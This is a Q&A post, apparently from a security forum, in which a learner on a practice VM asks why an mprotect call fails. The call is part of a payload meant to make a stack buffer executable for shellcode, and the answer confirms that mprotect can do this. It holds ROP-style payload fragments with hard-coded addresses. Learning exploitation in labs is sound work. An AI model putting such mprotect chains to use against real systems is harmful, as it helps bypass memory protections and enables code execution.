Q:

Can mprotect set the stack itself as executable?

I'm taking my first steps in memory exploitation in Linux. I'm following a tutorial for a practice VM($ uname -r -> 3.13.0-32-generic)
The tutorial makes a call to mprotect to set a certain region of memory executable, then uses read to manually input some shellcode.
I occurred to me that perhaps I could load my shellcode on the stack using the buffer and use mprotect to set the buffer region on the stack as executable and return to it. But that throws an error for reasons I'm not sure of.
In short, this call to mprotect works:
# mprotect: set memory executable
payload += p(0x080523e0) # mprotect addr
payload += p(0x08048882) # return to: pop, pop, pop, retn
payload += p(0xb7ffd000) # arg1: address of 'mapped' region
payload += p(0x2000)     # arg2: length
payload += p(0x7)        # arg3: rwx

But this call fails:
# mprotect: set memory executable
payload += p(0x080523e0) # mprotect addr
payload += p(0xbffff6c0) # return to shellcode in buffer on stack
payload += p(0xbffff6c0) # arg1: beginning of shellcode on stack
payload += p(0x2000)     # arg2: length
payload += p(0x7)        # arg3: rwx

Stepping through mprotect in that second example shows me that it takes an error jump:
=> 0x80523fa <mprotect+26>: jae    0x8053870 <__syscall_error>

As the only difference between the two is the address I want to set executable, I'm wondering if it's simply that mprotect can't set the stack as executable?

A:

Yes, mprotect can be used to make the stack executable.
See, for example:

https://github.com/gcc-mirror/gcc/blob/master/libgcc/enable-execute-stack-mprotect.c
http://rethinkdb.com/blog/handling-stack-overflow-on-custom-stacks/

You can troubleshoot further by examining the value of errno after the mprotect call.

